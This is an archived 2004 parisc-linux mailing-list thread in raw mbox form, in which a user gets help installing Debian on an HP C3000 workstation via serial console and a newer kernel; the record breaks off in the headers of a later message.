List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Jan 2004 22:46:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20542

This is a multi-part message in MIME format.

------=_NextPart_000_001C_01C3D29F.2F98EC50
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

ok, i went and got the latest testing iso, but now it's saying that =
libc6_2.2.5-6_hppa.deb was corrupt and cannot download...

 thats cd no.2 coastered and another 70mb down... any tips?

the orginal problem was from both a cd i got with the computer (an =
earlier 70mb d/l it seems) and the latest full 650mb iso i downloaded...

though if i try and boot from the big iso, the installer starts then the =
keyboard wont work... getting frustrated :|

  ----- Original Message -----=20
  From: Joel Soete=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Saturday, January 03, 2004 9:28 PM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt




  Matt Lewis wrote:
  > Hi, I have a HP Visualize C3000 and i'm trying to install Debian =
HPPA on it... and every time i try to install the base system, whether =
it be from CD or http, i get the message of "slang(version_here).deb is =
corrupt. could not download"
  >=20
  > is there any way around this?

  IIRC, the c3k require a more recent kernel and what could help is a =
recent net-install iso cd available at:
  <http://www.pateam.org/cd-images/testing/>

  and this install would work via a serial console (simply unplug kdb =
amd mouse and pdc will swicth automaticaly to this serial=20
  console).

    since my machine hasn't got HPUX on it, and i cant find anywhere to =
download it :|
  >=20
  Yes AFAIK you would have to order this CD near HP.

  hth,
  Joel



------=_NextPart_000_001C_01C3D29F.2F98EC50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV>ok, i went and got the latest testing iso, but now it's saying that =

libc6_2.2.5-6_hppa.deb was corrupt and cannot download...</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;thats cd no.2 coastered and another 70mb down... any =
tips?</DIV>
<DIV>&nbsp;</DIV>
<DIV>the orginal problem was from both a cd i got with the computer (an =
earlier=20
70mb d/l it seems) and the latest full 650mb iso i downloaded...</DIV>
<DIV>&nbsp;</DIV>
<DIV>though if i try and boot from the big iso, the installer starts =
then the=20
keyboard wont work... getting frustrated :|</DIV>
<DIV>&nbsp;</DIV></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:soete.joel@tiscali.be" =
title=3Dsoete.joel@tiscali.be>Joel=20
  Soete</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, January 03, =
2004 9:28=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV><BR><BR>Matt Lewis wrote:<BR>&gt; Hi, I have a HP =
Visualize=20
  C3000 and i'm trying to install Debian HPPA on it... and every time i =
try to=20
  install the base system, whether it be from CD or http, i get the =
message of=20
  "slang(version_here).deb is corrupt. could not download"<BR>&gt; =
<BR>&gt; is=20
  there any way around this?<BR><BR>IIRC, the c3k require a more recent =
kernel=20
  and what could help is a recent net-install iso cd available =
at:<BR>&lt;<A=20
  =
href=3D"http://www.pateam.org/cd-images/testing/">http://www.pateam.org/c=
d-images/testing/</A>&gt;<BR><BR>and=20
  this install would work via a serial console (simply unplug kdb amd =
mouse and=20
  pdc will swicth automaticaly to this serial =
<BR>console).<BR><BR>&nbsp; since=20
  my machine hasn't got HPUX on it, and i cant find anywhere to download =
it=20
  :|<BR>&gt; <BR>Yes AFAIK you would have to order this CD near=20
  HP.<BR><BR>hth,<BR>Joel<BR><BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_001C_01C3D29F.2F98EC50--



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sat, 3 Jan 2004 21:55:51 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20040104045551.GA16904@colo.lackof.org>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
	<001f01c3d24b$5e810600$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623100 4216 80.91.229.3 (22 Nov 2014 02:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: grundler@lackof.org  Sat Jan  3 21:55:53 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2498C484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 21:55:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 91513298033; Sat,  3 Jan 2004 21:55:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16720-06; Sat, 3 Jan 2004 21:55:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E285A29802E; Sat,  3 Jan 2004 21:55:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <001f01c3d24b$5e810600$0101a8c0@nitephyre>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Jan 2004 04:55:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20543

On Sun, Jan 04, 2004 at 08:46:03AM +1000, Matt Lewis wrote:
> ok, i went and got the latest testing iso, but now it's saying
> that libc6_2.2.5-6_hppa.deb was corrupt and cannot download...
> thats cd no.2 coastered and another 70mb down... any tips?

Full net install? (net boot with NFS root to run the installer?)

current lifimages are also available that match the net install ISOs.
lifimage needs to be served from a bootp server.

> the orginal problem was from both a cd i got with the computer
> (an earlier 70mb d/l it seems) and the latest full 650mb iso i downloaded...
> though if i try and boot from the big iso, the installer starts then the
> keyboard wont work... getting frustrated :|

Is the keyboard hanging using a serial or graphics console?

In general, the serial console is more stable and I suggest installing
via the serial console. Disconnect the USB keyboard and connect a DB9
serial cable to another linux box (9600, 8N1).  Once installed, upgrade
to a 2.4.23 kernel (available from ftp.p-l.o/kernels/c3000) and then
reconnect the keyboard before rebooting.

grant


From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sun, 4 Jan 2004 16:25:36 +1000
Lines: 144
Approved: news@gmane.org
Message-ID: <000a01c3d28b$91046fa0$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
	<001f01c3d24b$5e810600$0101a8c0@nitephyre>
	<20040104045551.GA16904@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01C3D2DF.62179B00"
X-Trace: ger.gmane.org 1416623101 4220 80.91.229.3 (22 Nov 2014 02:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Sat Jan  3 23:26:02 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-10.iinet.net.au [203.59.3.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 494B3484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 23:26:01 -0700 (MST)
Original-Received: (qmail 23946 invoked from network); 4 Jan 2004 06:25:58 -0000
Original-Received: from unknown (HELO nitephyre) (203.217.84.28)
	by mail.iinet.net.au with SMTP; 4 Jan 2004 06:25:58 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Jan 2004 06:26:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20544

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C3D2DF.62179B00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

no, i burnt the 70mb netinstall iso to a cd and booted off that.. i =
don't actually have another linux box i can use as a nfs server, and i =
dont have a serial cable..

with the full 650mb cd, when i boot it hangs when i get to the colour =
"welcome to debian... <continue>" screen

I'm using graphics console for all of this...

cheers, matt
  ----- Original Message -----=20
  From: Grant Grundler=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Sunday, January 04, 2004 2:55 PM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt


  On Sun, Jan 04, 2004 at 08:46:03AM +1000, Matt Lewis wrote:
  > ok, i went and got the latest testing iso, but now it's saying
  > that libc6_2.2.5-6_hppa.deb was corrupt and cannot download...
  > thats cd no.2 coastered and another 70mb down... any tips?

  Full net install? (net boot with NFS root to run the installer?)

  current lifimages are also available that match the net install ISOs.
  lifimage needs to be served from a bootp server.

  > the orginal problem was from both a cd i got with the computer
  > (an earlier 70mb d/l it seems) and the latest full 650mb iso i =
downloaded...
  > though if i try and boot from the big iso, the installer starts then =
the
  > keyboard wont work... getting frustrated :|

  Is the keyboard hanging using a serial or graphics console?

  In general, the serial console is more stable and I suggest installing
  via the serial console. Disconnect the USB keyboard and connect a DB9
  serial cable to another linux box (9600, 8N1).  Once installed, =
upgrade
  to a 2.4.23 kernel (available from ftp.p-l.o/kernels/c3000) and then
  reconnect the keyboard before rebooting.

  grant


------=_NextPart_000_0007_01C3D2DF.62179B00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>no, i burnt the&nbsp;70mb netinstall =
iso to a cd=20
and booted off that.. i don't actually have another linux box i can use =
as a nfs=20
server, and i dont have a serial cable..</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>with the full 650mb cd, when i boot it =
hangs when i=20
get to the colour "welcome to debian... &lt;continue&gt;" =
screen</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm&nbsp;using graphics console for all =
of=20
this...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>cheers, matt</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:grundler@parisc-linux.org"=20
  title=3Dgrundler@parisc-linux.org>Grant Grundler</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, January 04, 2004 =
2:55=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV>On Sun, Jan 04, 2004 at 08:46:03AM +1000, Matt Lewis=20
  wrote:<BR>&gt; ok, i went and got the latest testing iso, but now it's =

  saying<BR>&gt; that libc6_2.2.5-6_hppa.deb was corrupt and cannot=20
  download...<BR>&gt; thats cd no.2 coastered and another 70mb down... =
any=20
  tips?<BR><BR>Full net install? (net boot with NFS root to run the=20
  installer?)<BR><BR>current lifimages are also available that match the =
net=20
  install ISOs.<BR>lifimage needs to be served from a bootp =
server.<BR><BR>&gt;=20
  the orginal problem was from both a cd i got with the computer<BR>&gt; =
(an=20
  earlier 70mb d/l it seems) and the latest full 650mb iso i=20
  downloaded...<BR>&gt; though if i try and boot from the big iso, the =
installer=20
  starts then the<BR>&gt; keyboard wont work... getting frustrated =
:|<BR><BR>Is=20
  the keyboard hanging using a serial or graphics console?<BR><BR>In =
general,=20
  the serial console is more stable and I suggest installing<BR>via the =
serial=20
  console. Disconnect the USB keyboard and connect a DB9<BR>serial cable =
to=20
  another linux box (9600, 8N1).&nbsp; Once installed, upgrade<BR>to a =
2.4.23=20
  kernel (available from <A=20
  href=3D"ftp://ftp.p-l.o/kernels/c3000">ftp.p-l.o/kernels/c3000</A>) =
and=20
  then<BR>reconnect the keyboard before=20
rebooting.<BR><BR>grant<BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0007_01C3D2DF.62179B00--



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sun, 4 Jan 2004 22:22:15 +1000
Lines: 108
Approved: news@gmane.org
Message-ID: <000a01c3d2bd$65441b40$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>	<3FF6A74F.3000108@tiscali.be>	<001f01c3d24b$5e810600$0101a8c0@nitephyre>	<20040104045551.GA16904@colo.lackof.org>
	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>
	<3FF7FD86.8000208@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01C3D311.34F7DDB0"
X-Trace: ger.gmane.org 1416623101 4253 80.91.229.3 (22 Nov 2014 02:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Sun Jan  4 05:22:32 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-10.iinet.net.au [203.59.3.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 354E64843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jan 2004 05:22:31 -0700 (MST)
Original-Received: (qmail 29488 invoked from network); 4 Jan 2004 12:22:29 -0000
Original-Received: from unknown (HELO nitephyre) (203.217.84.28)
	by mail.iinet.net.au with SMTP; 4 Jan 2004 12:22:28 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Jan 2004 12:22:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20545

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C3D311.34F7DDB0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

my other pc's run win2k...

so, it seems that my only soloution is to try and install via serial =
cable? :|

----- Original Message -----=20
  From: Joel Soete=20
  To: Matt Lewis=20
  Sent: Sunday, January 04, 2004 9:48 PM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt




  Matt Lewis wrote:
  > no, i burnt the 70mb netinstall iso to a cd and booted off that.. i =
don't actually have another linux box i can use as a nfs server, and i =
dont have a serial cable..

  Hmm what kind of other system/os is it available for you near the =
c3000?

  afaik the serial connection doesn't have to be a linux box: an actual =
serail console (setup to emulate vt100), a nt system with=20
  'hyperterminal' vt100 emulation would also works, as well as another =
unix system with a prgm allowing you to emulate a vt100=20
  terminalon a serial port.

  Do you have the oportunity to do the serial cable yourself? If you =
have to buy one (cheap but always usefull), it is a null-modem=20
  cable (femel 9 pin for the c3000).

  hth,
  joel




------=_NextPart_000_0007_01C3D311.34F7DDB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>my other pc's run win2k...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>so, it seems that my only soloution is =
to try and=20
install via serial cable? :|</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>----- Original Message ----- </DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:soete.joel@tiscali.be" =
title=3Dsoete.joel@tiscali.be>Joel=20
  Soete</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, January 04, 2004 =
9:48=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV><BR><BR>Matt Lewis wrote:<BR>&gt; no, i burnt the 70mb=20
  netinstall iso to a cd and booted off that.. i don't actually have =
another=20
  linux box i can use as a nfs server, and i dont have a serial=20
  cable..<BR><BR>Hmm what kind of other system/os is it available for =
you near=20
  the c3000?<BR><BR>afaik the serial connection doesn't have to be a =
linux box:=20
  an actual serail console (setup to emulate vt100), a nt system with=20
  <BR>'hyperterminal' vt100 emulation would also works, as well as =
another unix=20
  system with a prgm allowing you to emulate a vt100 <BR>terminalon a =
serial=20
  port.<BR><BR>Do you have the oportunity to do the serial cable =
yourself? If=20
  you have to buy one (cheap but always usefull), it is a null-modem =
<BR>cable=20
  (femel 9 pin for the=20
c3000).<BR><BR>hth,<BR>joel<BR><BR><BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0007_01C3D311.34F7DDB0--



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sun, 04 Jan 2004 13:17:47 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <3FF8127B.3090002@tiscali.be>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>	<3FF6A74F.3000108@tiscali.be>	<001f01c3d24b$5e810600$0101a8c0@nitephyre>	<20040104045551.GA16904@colo.lackof.org>	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>	<3FF7FD86.8000208@tiscali.be>
	<000a01c3d2bd$65441b40$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623101 4257 80.91.229.3 (22 Nov 2014 02:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: soete.joel@tiscali.be  Sun Jan  4 06:16:26 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 529E7487A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jan 2004 06:16:26 -0700 (MST)
Original-Received: from [62.235.122.74] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Ad87F-0005OF-4N; Sun, 04 Jan 2004 14:16:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <000a01c3d2bd$65441b40$0101a8c0@nitephyre>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Jan 2004 13:16:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20546



Matt Lewis wrote:
> my other pc's run win2k...
> 
so an hyperterminal would help you ;)

> so, it seems that my only soloution is to try and install via serial cable? :|
> 
Yes, excepted if esiee team could build for you a netiso cd with k 2.4.23 from link that mentioned Grant :)

Cheers,
	Joel


> ----- Original Message ----- >   From: Joel Soete 
>   To: Matt Lewis 
>   Sent: Sunday, January 04, 2004 9:48 PM
>   Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
> 
> 
> 
> 
>   Matt Lewis wrote:
>   > no, i burnt the 70mb netinstall iso to a cd and booted off that.. i don't actually have another linux box i can use as a nfs server, and i dont have a serial cable..
> 
>   Hmm what kind of other system/os is it available for you near the c3000?
> 
>   afaik the serial connection doesn't have to be a linux box: an actual serail console (setup to emulate vt100), a nt system with 
>   'hyperterminal' vt100 emulation would also works, as well as another unix system with a prgm allowing you to emulate a vt100 
>   terminalon a serial port.
> 
>   Do you have the oportunity to do the serial cable yourself? If you have to buy one (cheap but always usefull), it is a null-modem 
>   cable (femel 9 pin for the c3000).
> 
>   hth,
>   joel
> 
> 
> 
> 
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Mon, 5 Jan 2004 09:09:27 +1000
Lines: 179
Approved: news@gmane.org
Message-ID: <005f01c3d317$cd41b590$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>	<3FF6A74F.3000108@tiscali.be>	<001f01c3d24b$5e810600$0101a8c0@nitephyre>	<20040104045551.GA16904@colo.lackof.org>	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>	<3FF7FD86.8000208@tiscali.be>
	<000a01c3d2bd$65441b40$0101a8c0@nitephyre>
	<3FF8127B.3090002@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_005C_01C3D36B.9E8A6FE0"
X-Trace: ger.gmane.org 1416623102 4267 80.91.229.3 (22 Nov 2014 02:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:02 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Sun Jan  4 16:09:53 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-03.iinet.net.au [203.59.3.35])
	by dsl2.external.hp.com (Postfix) with SMTP id 1D315484B
